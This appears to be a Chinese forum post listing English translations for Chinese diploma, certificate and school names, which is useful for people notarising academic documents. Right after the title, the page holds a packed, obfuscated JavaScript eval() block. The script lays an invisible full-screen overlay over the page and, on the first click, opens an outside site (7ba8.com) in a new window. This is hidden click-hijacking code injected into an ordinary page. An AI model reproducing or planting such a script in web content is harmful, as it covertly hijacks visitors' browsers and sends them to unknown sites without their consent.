中国各类学历的标准英文翻译

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>一般来讲,留学过程中,学位在公证的时候,要有个翻译费,这可是笔不小的数目,因此。对于把DIY进行到底的人来说,自己翻译就来得便宜多了~~~~
《中华人民共和国学位条例》 “Regulations Concerning Academic Degrees in the People's Republic of China”
       结业证书    Certificate of Completion
  毕业证书    Certificate of Graduation
  肄业证书    Certificate of Completion/Incompletion/ Attendance/Study
  教育学院    College/Institute of Education
  中学      Middle[Secondary] School
  师范学校    Normal School[upper secondary level]
  师范专科学校  Normal Specialised Postsecondary College
  师范大学    Normal[Teachers] University
  公正书     Notarial Certificate
  专科学校    Postsecondary Specialised College
  广播电视大学  Radio and Television University
  中等专科学校  Secondary Specialised School
  自学考试    Self-Study Examination
  技工学校    Skilled Workers[Training] School
  业余大学    Spare-Time University
  职工大学    Staff and Workers University
  大学      University(regular,degree-granting)
  职业大学    Vocational University
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部